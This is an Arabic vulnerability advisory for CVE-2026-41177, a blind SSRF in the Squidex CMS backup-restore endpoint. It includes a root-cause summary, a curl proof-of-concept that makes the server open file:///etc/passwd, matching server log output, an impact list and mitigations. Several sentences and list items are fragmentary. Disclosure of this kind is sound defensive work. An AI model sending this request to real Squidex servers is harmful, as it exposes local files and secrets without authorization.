
# CVE-2026-41177، ثغرة SSRF عمياء في Squidex CMS (قبل الإصدار v7.23.0). تتضمن تحليل السبب الجذري، خطوات إعادة الإنتاج، وتقييم الأثر المتعلق بتفاعل الملفات المحلية (LFI).
بحث وتحليل تقني لثغرة CVE-2026-41177: ثغرة تزوير الطلبات من جانب الخادم (SSRF) العمياء في واجهة استعادة النسخ الاحتياطي في Squidex CMS.
/api/apps/restore)واجهة استعادة النسخ الاحتياطي في Squidex معرّضة لثغرة تزوير الطلبات من جانب الخادم (SSRF) العمياء. يفشل التطبيق في التحقق من مخطط URI لمعامل Url المقدَّم من المستخدم، مما يسمح باستخدام بروتوكول file://. يتيح ذلك لمسؤول مصادَق إجبار الخادم الخلفي على التفاعل مع نظام الملفات المحلي، مما يؤدي إلى تفاعل مع الملفات المحلية (LFI) واحتمال كشف معلومات حساسة عن النظام من خلال تحليل القنوات الجانبية للسجلات الداخلية.
file:///etc/passwdRestoreJob).204 No Content، تكشف سجلات الخادم الداخلية أن الخادم نجح في فتح الملف وقراءته قبل الفشل لأن المحتوى لم يكن أرشيف ZIP صالحًا.نفّذ أمر curl التالي (استبدل <TOKEN> برمز مسؤول صالح):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
يؤكد الخطأ التالي في سجلات حاوية Squidex التفاعل الداخلي مع الملف:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
ملاحظة: يؤكد InvalidDataException أن الخادم نجح في الوصول إلى بايتات الملف وقراءتها.
تسمح هذه الثغرة للمهاجمين المصادَقين بـ:
appsettings.json، الأسرار).http:// و https:// بشكل صارم.file:// قبل المعالجة.